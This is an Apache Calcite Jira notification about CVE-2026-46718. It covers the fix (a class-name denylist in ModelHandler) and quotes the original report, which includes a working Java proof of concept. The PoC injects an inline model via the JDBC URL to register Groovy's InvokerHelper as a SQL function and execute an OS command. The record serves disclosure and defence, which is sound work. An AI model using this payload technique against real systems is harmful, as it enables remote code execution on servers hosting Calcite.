[
https://issues.apache.org/jira/browse/CALCITE-7532?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=18085045#comment-18085045
]
Julian Hyde commented on CALCITE-7532:
--------------------------------------
This issue is fixed in Calcite release 1.42.0, commit
[5855cfa|https://github.com/apache/calcite/commit/5855cfa14d8038e2a123ff6ce9722edce0e0cc25].
The fix introduces a class-name filter that governs every point where a Calcite
model causes a class to be loaded by reflection. A new {{ClassNameFilter}}
class holds a built-in denylist of class-name patterns, and {{ModelHandler}}
now consults it before instantiating any class named in a model.
The denylist targets the specific categories of class that turn "load an
arbitrary class" into "execute arbitrary code": JNDI ({{javax.naming.}},
{{com.sun.jndi.}}), process and runtime APIs ({{Runtime}}, {{ProcessBuilder}},
{{System}}), reflection and method-handle APIs ({{java.lang.reflect.}},
{{java.lang.invoke.}}, {{Class}}), scripting engines ({{javax.script.}},
Groovy, BeanShell, Jython), Spring Expression Language, the common
deserialization gadget chains (commons-collections and commons-beanutils
functors, {{TemplatesImpl}}), and low-level escape hatches
({{sun.misc.Unsafe}}, {{jdk.internal.}}). Patterns ending in a dot match a
package and its sub-packages; others match a class name exactly. The filter
also understands the {{ClassName#FIELD}} plugin form, stripping the field
reference before matching.
The filter is applied uniformly across all reflective entry points in
{{ModelHandler}}, not only user-defined functions: custom schema factories
({{factory}}), custom table factories, JDBC drivers ({{jdbcDriver}}), SQL
dialect factories ({{sqlDialectFactory}}), and lattice statistic providers
({{statisticProvider}}). Each call site invokes {{ClassNameFilter.check(...)}},
which throws a {{SecurityException}} naming the offending class and the matched
pattern when a load is rejected.
Deployments can extend the denylist through the new
{{calcite.model.classes.denied}} system property (a comma-separated list of
patterns). The extension only adds to the built-in entries; the built-in
denylist cannot be removed or loosened at runtime, so the protection cannot be
disabled by configuration. {{ModelHandler}} also gains a constructor that
accepts a caller-supplied {{ClassNameFilter}}, allowing applications to apply a
stricter (or, at their own risk, a more permissive) policy.
> A user-controled model can load arbitrary classes, leading to code execution
> (CVE-2026-46718)
> ---------------------------------------------------------------------------------------------
>
> Key: CALCITE-7532
> URL: https://issues.apache.org/jira/browse/CALCITE-7532
> Project: Calcite
> Issue Type: Bug
> Reporter: Julian Hyde
> Assignee: Julian Hyde
> Priority: Major
> Fix For: 1.42.0
>
>
> (This issue was previously logged with the subject 'Model usability'.)
> [CVE-2026-46718|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2026-46718] is
> a vulnerability that allows a user-controled model to load arbitrary classes,
> leading to code execution.
> Here is the initial report (credit to pyn3rd, uname, 4ra1n):
> {quote}--------------------------------------------------------------------------------
> 1. AFFECTED COMPONENT
> --------------------------------------------------------------------------------
> Product: Apache Calcite
> Component: calcite-core (JDBC Driver / Inline Model Parser)
> Version: 1.41.0 (latest as of report date; earlier versions likely affected)
> Artifact: org.apache.calcite:calcite-core:1.41.0
> --------------------------------------------------------------------------------
> 2. VULNERABILITY DESCRIPTION
> --------------------------------------------------------------------------------
> Apache Calcite allows users to define a schema model via the JDBC connection
> URL using the "model=inline:
> Unknown macro: \{...}
> " parameter. Within this inline model, it is
> possible to register arbitrary Java static methods as custom SQL functions by
> specifying a "className" and "methodName" in the schema's "functions" array.
> An attacker who can influence the JDBC connection URL (or the model JSON) can
> register any publicly accessible Java method — including methods from
> dangerous
> classes such as:
> - org.codehaus.groovy.runtime.InvokerHelper#invokeMethod (RCE directly)
> - javax.naming.InitialContext.doLookup (JNDI RCE such as log4j2)
> - java.lang.System.getProperty/setProperty (JVM information leakage etc.)
> Once registered, these methods can be invoked directly through SQL queries,
> resulting in arbitrary operating system command execution on the server
> hosting
> the Calcite JDBC driver.
> This vulnerability requires NO authentication and NO special privileges beyond
> the ability to supply a JDBC URL or model configuration string.
> --------------------------------------------------------------------------------
> 3. ROOT CAUSE
> --------------------------------------------------------------------------------
> The inline model parser (org.apache.calcite.model.ModelHandler and related
> classes) does not perform any allowlist/denylist validation on the "className"
> or "methodName" fields when registering user-defined functions (UDFs). As a
> result, any class available on the JVM classpath can be used as a UDF
> implementation, including classes with dangerous side effects.
> Key code path (approximate):
> ModelHandler#visit(JsonFunction)
> -> ReflectiveFunctionDispatcher (or similar)
> -> Registers arbitrary static method as SQL scalar function
> -> Callable via standard SQL SELECT statements
> --------------------------------------------------------------------------------
> 4. PROOF OF CONCEPT
> --------------------------------------------------------------------------------
> The following self-contained Java program demonstrates the vulnerability.
> Running it will execute the OS command "open -a calculator" (macOS) via a
> Groovy runtime method registered as a Calcite SQL function.
> The PoC Code and screenshot are in the attachment.
> Dependencies used in PoC:
> - org.apache.calcite:calcite-core:1.41.0
> - org.apache.groovy:groovy:4.0.31
> Note: The Groovy dependency is only required because the PoC uses Groovy
> runtime classes. In environments where other dangerous classes are on the
> classpath, exploitation may be possible without Groovy.
> Even without any dependencies, RCE vulnerabilities can be implemented using
> JDK's built-in JNDI functionality. There is no need for further reference
> here, as there have been multiple JNDI vulnerabilities such as log4j in
> history.
> --------------------------------------------------------------------------------
> 5. ATTACK SCENARIOS
> --------------------------------------------------------------------------------
> Scenario A - Direct JDBC URL Control:
> Any application that allows end-users to supply a JDBC URL (e.g., database
> management tools, BI platforms, data integration tools using Calcite) is
> directly exploitable.
> Scenario B - Model File / Configuration Injection:
> If an attacker can write to or influence a Calcite model JSON file referenced
> by a server-side application, they can inject malicious function definitions
> and achieve RCE when the application connects.
> Scenario C - Multi-tenant / Shared Calcite Deployments:
> In environments where multiple tenants share a Calcite instance and can
> define their own schemas or models, a malicious tenant can escalate to full
> OS-level code execution.
> --------------------------------------------------------------------------------
> 6. IMPACT
> --------------------------------------------------------------------------------
> - Confidentiality: COMPLETE — attacker can read any file accessible to the
> JVM process.
> - Integrity: COMPLETE — attacker can write, modify, or delete files.
> - Availability: COMPLETE — attacker can terminate processes or exhaust
> resources.
> - Scope: The vulnerability affects the host OS, not just the JVM.{quote}
> {code:java}
> package calcite;
> import java.sql.Connection;
> import java.sql.DriverManager;
> import java.sql.ResultSet;
> import java.sql.Statement;
> public class addfuntiocnpoc {
> public static void main(String[] args) throws Exception{
> String model = "inline:{" +
> "\"version\":\"1.0\"," +
> "\"defaultSchema\":\"hack\"," +
> "\"schemas\":[{" +
> "\"name\":\"hack\"," +
> "\"functions\":[{" +
> "\"name\":\"INVOKE\"," +
>
> "\"className\":\"org.codehaus.groovy.runtime.InvokerHelper\"," +
> "\"methodName\":\"invokeMethod\"" +
> "}]" +
> "}]" +
> "}";
> String jdbcUrl =
> "jdbc:calcite:lex=MYSQL_ANSI;conformance=LENIENT;model=" + model;
> try (Connection conn = DriverManager.getConnection(jdbcUrl)) {
> Statement stmt = conn.createStatement();
> try {
> String sql = "SELECT \"INVOKE\"(CAST('open -a calculator' AS
> VARCHAR), CAST('execute' AS VARCHAR), CAST(null AS VARCHAR)) FROM
> (VALUES(1))";
> ResultSet rs = stmt.executeQuery(sql);
> if (rs.next()) {
> Object result = rs.getObject(1);
> System.out.println(" │ [+] result: " + result);
> }
> rs.close();
> } catch (Exception e) {
> e.printStackTrace();
> }
> }
> }
> }
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)